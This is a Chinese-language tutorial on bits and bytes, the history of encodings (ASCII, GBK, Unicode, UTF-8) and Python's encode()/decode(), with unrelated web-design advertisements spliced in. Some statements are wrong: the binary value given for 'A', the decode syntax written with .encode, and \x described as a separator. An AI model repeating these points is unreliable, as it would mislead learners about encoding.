1KB(Kilobyte 千字節) = 1024B
1MB(Megabyte 兆字節) = 1024KB
1GB(Gigabyte) = 1024MB

為什麼辦的100兆的寬帶,撐死就只有10幾兆的下載速度?

因為運營商的帶寬是以比特每秒為單位的,比如100M就是100Mbit/s。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

而我們常看到的下載速度KB卻是以字節每秒為單位显示的,1byte = 8bit,所以運營商說的帶寬得先除以8,你的百兆寬帶下載速度,也就是十幾兆了。

編碼錶

為了避免亂碼,人類就約定了一套共同的編碼規則。就像計算機世界的新華字典、牛津英語字典。

編碼錶歷史

ASCII

  • ASCII編碼(讀音:/ˈæski/),美國首先出台。統一規定了常用符號用哪些二進制數來表示。 因為英文字母、数字再加上其他常用符號,也就100來個,因此使用7個比特位(最多表示128位)就夠用了,所以一個字節中被剩下的那個比特位就被默認為0。

  • 但歐洲不光有英語,還有法語字母上的注音符。於是歐洲用了美國剩下的那個比特位,普遍使用一個全字節(8個比特位)進行編碼,最多可表示256位,至此,一個字節就用滿了!

ASCII統一了前面0-127位,但從狀態128到255這一段的解釋就完全亂套了,比如135在法語,希伯來語,俄語編碼中完全是不同的符號。

GB2312和GBK

  • 中國10萬漢字,256位也不夠用。於是一張新編碼錶
    GB2312被中國科學家發明了。 用2個字節,也就是16個比特位,來表示絕大部分(65535個)常用漢字。後來,為了能显示更多的中文,又出台了
    GBK標準。

Unicode

因各個國家的編碼錶都不同。不同國家間通信又會亂碼。

  • 於是
    Unicode(萬國碼)來統一。 這套編碼錶將世界上所有的符號都納入其中。每個符號都有一個獨一無二的編碼,現在Unicode可以容納100多萬個符號,所有語言都可以互通,一個網頁上也可以显示多國語言。

萬國碼的缺點是讓英文字符被迫佔用兩個字節,耗費計算機存儲空間。(如A:用00010001就行,但是為了順從統一,需要用兩個字節:00000000 00010001)

UTF-8

  • UTF-8(8-bit Unicode Transformation Format)被提出。針對Unicode的可變長度字符編碼。它可以使用1~4個字節表示一個符號,根據不同的符號而變化字節長度。而當字符在ASCII碼的範圍時,就用一個字節表示,所以UTF-8還可以兼容ASCII編碼。

Unicode與UTF-8這種曖昧的關係一言以蔽之:Unicode是內存編碼的規範,而UTF-8是如何保存和傳輸Unicode的手段。

編碼錶對比

編碼錶 適用性 特點
ASCII碼 英文大小寫,字符,不支持中文 美國人發明,佔用空間小,用一個字節就行
GB2312碼、GBK碼 支持中文 中國人發明,GBK是GB2312的升級,增加了更多原來沒有的文字字符
Unicode碼 支持國際語言,萬國碼 適用性強但佔用空間大。在ASCII碼前面補8個bit位就是Unicode碼
UTF-8碼 支持國際語言 Unicode的升級,兩者容易互相轉化。佔用空間小、適用性強。ASCII碼被UTF-8碼包含。

編碼方案使用情況表

編碼錶 當前使用情況 備註
ASCII碼
GB2312碼、GBK碼 中文的文件和中文網站,使用GBK、GB2312
Unicode碼 計算機內存中處理數據時使用的統一標準格式 Python3中,程序處理我們輸入的字符串使用Unicode編碼
UTF-8碼 數據在硬盤上存儲,或者網絡上傳輸時,用的UTF-8 因為節省空間。程序來轉換編碼。

基於上表,有時候面對不同編碼的數據,我們還需要手動操作實現編碼轉換。就要用到encode(編碼)decode(解碼)

編碼操作和解碼操作

編碼:encode()

語法:

'你想編碼的內容'.encode('你使用的編碼錶名稱')

用法:

print('一天打魚兩個月曬網的小石頭'.encode('utf-8'))
# b'\xe4\xb8\x80\xe5\xa4\xa9\xe6\x89\x93\xe9\xb1\xbc\xe4\xb8\xa4\xe4\xb8\xaa\xe6\x9c\x88\xe6\x99\x92\xe7\xbd\x91\xe7\x9a\x84\xe5\xb0\x8f\xe7\x9f\xb3\xe5\xa4\xb4'
print('I Love U'.encode('gbk'))
# b'I Love U'
print('小石頭'.encode('utf-8'))
# b'\xe5\xb0\x8f\xe7\x9f\xb3\xe5\xa4\xb4'

將上述人類語言編碼得到機器語言后的打印結果在註釋里。

字母b

這裏之所以有個字母b,代表他是bytes(字節)類型的數據。 可以用type()函數驗證一下:

print(type(b'\xe5\xb0\x8f\xe7\x9f\xb3\xe5\xa4\xb4')) # <class 'bytes'>

符號\x

另外,幾乎每個字母/数字前邊都有的\x,他的作用是分隔符,用來分隔一個字節和另一個字節。

這樣的分隔符,我們還見過:

<a href="https://www.baidu.com/s?wd=%e5%b0%8f%e7%9f%b3%e5%a4%b4" />

對比發現下邊兩段字符串,你有發現什麼奧妙么!:

%e5%b0%8f%e7%9f%b3%e5%a4%b4
\xe5\xb0\x8f\xe7\x9f\xb3\xe5\xa4\xb4

%\x一樣,都是一種分隔符。只不過%是url中的、\x是python中的

解碼:decode()

語法:

'你想解碼的內容'.encode('你使用的編碼錶名稱')

用法:

print(b'\xe5\xb0\x8f\xe7\x9f\xb3\xe5\xa4\xb4'.decode('UTF-8')) # 小石頭

::: warning 注意 你要解碼的內容得跟編碼時用的編碼錶一致。不然會報錯。 :::

也就是說,UTF-8編碼的字節就一定要用UTF-8的規則解碼,其他編碼同理,否則就會出現亂碼或者報錯的情況,

print(b'\xe5\xb0\x8f\xe7\x9f\xb3\xe5\xa4\xb4'.decode('GBK'))
# 把utf-8編碼的字符串用GBK來解碼,就報錯了。
# UnicodeDecodeError: 'gbk' codec can't decode byte 0xb4 in position 8: incomplete multibyte sequence

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!